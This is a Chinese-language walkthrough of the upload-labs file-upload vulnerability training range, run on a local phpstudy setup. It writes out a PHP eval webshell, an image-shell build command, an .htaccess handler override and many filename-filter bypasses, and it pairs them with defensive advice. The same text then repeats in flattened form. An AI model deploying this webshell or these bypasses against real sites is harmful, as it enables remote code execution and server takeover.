【文件上传入门】upload-labs靶场大闯关(持续更新ing)
字数 1714 2025-08-10 12:18:01

Upload-Labs 文件上传漏洞靶场通关指南

实验准备

环境要求

  • 操作系统:Windows Server 2008
  • 集成环境:phpstudy
  • 靶场:upload-labs
  • 工具:
    • 浏览器:火狐浏览器
    • WebShell管理工具:蚁剑
    • 抓包改包工具:Burp Suite
    • 编辑器:010editor

环境搭建

  1. 下载upload-labs安装包
  2. 解压后将文件夹复制到phpstudy的WWW目录下
  3. 启动phpstudy
  4. 通过浏览器访问靶场

WebShell准备

<?php 
phpinfo(); 
@eval($_POST[666]); 
?>
  • phpinfo():打印PHP信息
  • @符号:抑制错误信息显示
  • eval():执行字符串中的PHP代码
  • $_POST[666]:接收POST参数"666"的值

Pass-01:前端JS验证绕过

漏洞分析

前端JavaScript代码检查上传文件后缀名,只允许.jpg|.png|.gif格式。

关键代码:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    var allow_ext = ".jpg|.png|.gif";
    var ext_name = file.substring(file.lastIndexOf("."));
    if (allow_ext.indexOf(ext_name) == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

绕过方法

方法1:禁用JavaScript

  1. 在火狐浏览器地址栏输入about:config
  2. 找到javascript.enabled,设置为false禁用JS
  3. 刷新网页后上传PHP文件
  4. 上传成功后复制图像链接访问
  5. 使用蚁剑连接
  6. 完成后重新启用JavaScript

方法2:删除浏览器事件

  1. 右键检查上传按钮元素
  2. 找到调用checkFile()的事件处理代码
  3. 删除相关事件处理代码
  4. 直接上传PHP文件

方法3:Burp Suite改包

  1. 将WebShell文件后缀改为.jpg
  2. 配置浏览器和Burp Suite代理
  3. 开启Burp拦截模式
  4. 上传.jpg文件,Burp拦截请求
  5. 修改请求中的文件后缀为.php
  6. 放行请求完成上传

方法4:图片马+文件包含

  1. 制作图片马:
    copy /b test.jpg + test.php shell.jpg
    
  2. 上传图片马文件
  3. 利用文件包含漏洞执行图片马中的PHP代码:
    http://127.0.0.1/upload-labs/include.php?file=upload/shell.jpg
    

修复建议

不要仅依赖前端验证,因为:

  • 前端代码在用户浏览器执行,用户可完全控制
  • 攻击者可轻易绕过前端验证
  • 必须结合服务器端验证

后续关卡关键点(简要)

Pass-02:MIME类型验证

  • 检查Content-Type是否为图片类型
  • 绕过方法:Burp修改Content-Typeimage/jpeg

Pass-03:黑名单验证

  • 禁止上传.asp|.aspx|.php|.jsp等后缀
  • 绕过方法:
    • 使用不常见的PHP后缀:.php3, .phtml
    • 利用大小写:.Php
    • 利用Windows特性:test.php.(末尾加点)

Pass-04:.htaccess利用

  • 黑名单过滤更严格
  • 绕过方法:
    1. 上传.htaccess文件:
      AddType application/x-httpd-php .jpg
      
    2. 上传包含PHP代码的.jpg文件

Pass-05:后缀名大小写

  • 过滤规则不区分大小写
  • 绕过方法:使用.pHp等大小写混合后缀

Pass-06:后缀名空格绕过

  • Windows系统会忽略文件名末尾空格
  • 绕过方法:上传test.php (注意末尾空格)

Pass-07:点绕过

  • Windows系统会忽略文件名末尾的点
  • 绕过方法:上传test.php.

Pass-08:::$DATA绕过

  • Windows NTFS文件系统特性
  • 绕过方法:上传test.php::$DATA

Pass-09:路径拼接绕过

  • 未正确处理文件名中的点
  • 绕过方法:上传test.php. .

Pass-10:双写后缀绕过

  • 简单替换php为空
  • 绕过方法:上传test.pphphp,处理后变为test.php

通用防御措施

  1. 文件上传目录设置为不可执行
  2. 使用白名单验证文件类型
  3. 检查文件内容而不仅是扩展名
  4. 重命名上传文件
  5. 限制文件大小
  6. 使用安全的文件处理函数
  7. 单独设置上传目录的权限
  8. 对图片文件进行二次渲染

高级绕过技巧

  1. 条件竞争:利用服务器处理上传文件的短暂时间差
  2. 特殊字符截断:利用%00等特殊字符截断
  3. XML注入:针对XML文件上传的XXE攻击
  4. ZIP/RAR文件:上传包含恶意代码的压缩包
  5. SVG文件:利用SVG中的JavaScript执行代码

通过系统性地学习upload-labs靶场,可以全面掌握文件上传漏洞的各种利用方式和防御方法。

Upload-Labs 文件上传漏洞靶场通关指南 实验准备 环境要求 操作系统:Windows Server 2008 集成环境:phpstudy 靶场:upload-labs 工具: 浏览器:火狐浏览器 WebShell管理工具:蚁剑 抓包改包工具:Burp Suite 编辑器:010editor 环境搭建 下载upload-labs安装包 解压后将文件夹复制到phpstudy的WWW目录下 启动phpstudy 通过浏览器访问靶场 WebShell准备 phpinfo() :打印PHP信息 @ 符号:抑制错误信息显示 eval() :执行字符串中的PHP代码 $_POST[666] :接收POST参数"666"的值 Pass-01:前端JS验证绕过 漏洞分析 前端JavaScript代码检查上传文件后缀名,只允许 .jpg|.png|.gif 格式。 关键代码: 绕过方法 方法1:禁用JavaScript 在火狐浏览器地址栏输入 about:config 找到 javascript.enabled ,设置为 false 禁用JS 刷新网页后上传PHP文件 上传成功后复制图像链接访问 使用蚁剑连接 完成后重新启用JavaScript 方法2:删除浏览器事件 右键检查上传按钮元素 找到调用 checkFile() 的事件处理代码 删除相关事件处理代码 直接上传PHP文件 方法3:Burp Suite改包 将WebShell文件后缀改为 .jpg 配置浏览器和Burp Suite代理 开启Burp拦截模式 上传 .jpg 文件,Burp拦截请求 修改请求中的文件后缀为 .php 放行请求完成上传 方法4:图片马+文件包含 制作图片马: 上传图片马文件 利用文件包含漏洞执行图片马中的PHP代码: 修复建议 不要仅依赖前端验证,因为: 前端代码在用户浏览器执行,用户可完全控制 攻击者可轻易绕过前端验证 必须结合服务器端验证 后续关卡关键点(简要) Pass-02:MIME类型验证 检查 Content-Type 是否为图片类型 绕过方法:Burp修改 Content-Type 为 image/jpeg Pass-03:黑名单验证 禁止上传 .asp|.aspx|.php|.jsp 等后缀 绕过方法: 使用不常见的PHP后缀: .php3 , .phtml 利用大小写: .Php 利用Windows特性: test.php. (末尾加点) Pass-04:.htaccess利用 黑名单过滤更严格 绕过方法: 上传 .htaccess 文件: 上传包含PHP代码的 .jpg 文件 Pass-05:后缀名大小写 过滤规则不区分大小写 绕过方法:使用 .pHp 等大小写混合后缀 Pass-06:后缀名空格绕过 Windows系统会忽略文件名末尾空格 绕过方法:上传 test.php (注意末尾空格) Pass-07:点绕过 Windows系统会忽略文件名末尾的点 绕过方法:上传 test.php. Pass-08:::$DATA绕过 Windows NTFS文件系统特性 绕过方法:上传 test.php::$DATA Pass-09:路径拼接绕过 未正确处理文件名中的点 绕过方法:上传 test.php. . Pass-10:双写后缀绕过 简单替换 php 为空 绕过方法:上传 test.pphphp ,处理后变为 test.php 通用防御措施 文件上传目录设置为不可执行 使用白名单验证文件类型 检查文件内容而不仅是扩展名 重命名上传文件 限制文件大小 使用安全的文件处理函数 单独设置上传目录的权限 对图片文件进行二次渲染 高级绕过技巧 条件竞争 :利用服务器处理上传文件的短暂时间差 特殊字符截断 :利用 %00 等特殊字符截断 XML注入 :针对XML文件上传的XXE攻击 ZIP/RAR文件 :上传包含恶意代码的压缩包 SVG文件 :利用SVG中的JavaScript执行代码 通过系统性地学习upload-labs靶场,可以全面掌握文件上传漏洞的各种利用方式和防御方法。